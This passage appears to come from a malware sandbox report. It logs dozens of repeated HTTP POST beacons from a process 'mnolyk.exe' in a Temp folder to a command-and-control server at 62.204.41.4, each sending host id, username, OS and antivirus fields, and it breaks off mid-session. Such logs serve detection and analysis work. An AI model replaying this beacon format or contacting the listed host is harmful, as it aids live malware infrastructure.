Feb 8, 2023 21:33:11.076338053 CET	585	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:11.141714096 CET	585	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
386	192.168.2.3	50089	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:11.324057102 CET	586	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:11.387929916 CET	586	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
387	192.168.2.3	50090	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:11.561825037 CET	587	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:11.625634909 CET	587	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
388	192.168.2.3	50091	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:11.991736889 CET	588	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:12.058008909 CET	588	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
389	192.168.2.3	50092	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:12.281172991 CET	589	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:12.343425035 CET	589	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49741	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:26.473669052 CET	240	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:26.537626028 CET	240	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
390	192.168.2.3	50093	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:12.595076084 CET	590	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:12.658941031 CET	590	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
391	192.168.2.3	50094	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:13.788321018 CET	591	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:13.853844881 CET	591	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
392	192.168.2.3	50095	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:15.244489908 CET	592	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:15.309886932 CET	592	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
393	192.168.2.3	50096	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:15.486305952 CET	593	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:15.550494909 CET	593	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
394	192.168.2.3	50097	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:15.743647099 CET	594	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:15.807949066 CET	594	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
395	192.168.2.3	50098	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:15.979666948 CET	595	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:16.043409109 CET	595	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
396	192.168.2.3	50099	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:16.214939117 CET	596	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:16.318130970 CET	596	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
397	192.168.2.3	50100	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:16.504024982 CET	597	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:16.567168951 CET	597	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
398	192.168.2.3	50101	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:16.750361919 CET	598	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:16.814882994 CET	598	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
399	192.168.2.3	50102	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:16.998377085 CET	599	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:17.064486027 CET	599	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49705	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:10.447077036 CET	204	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:10.509819984 CET	205	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49742	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:26.717820883 CET	241	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:26.779829025 CET	241	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
400	192.168.2.3	50103	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:17.234939098 CET	600	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:17.299627066 CET	600	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
401	192.168.2.3	50104	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:17.483711958 CET	601	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:17.548576117 CET	601	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
402	192.168.2.3	50105	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:17.766341925 CET	602	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:17.830234051 CET	602	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
403	192.168.2.3	50106	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:17.996325016 CET	603	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:18.061194897 CET	603	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
404	192.168.2.3	50107	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
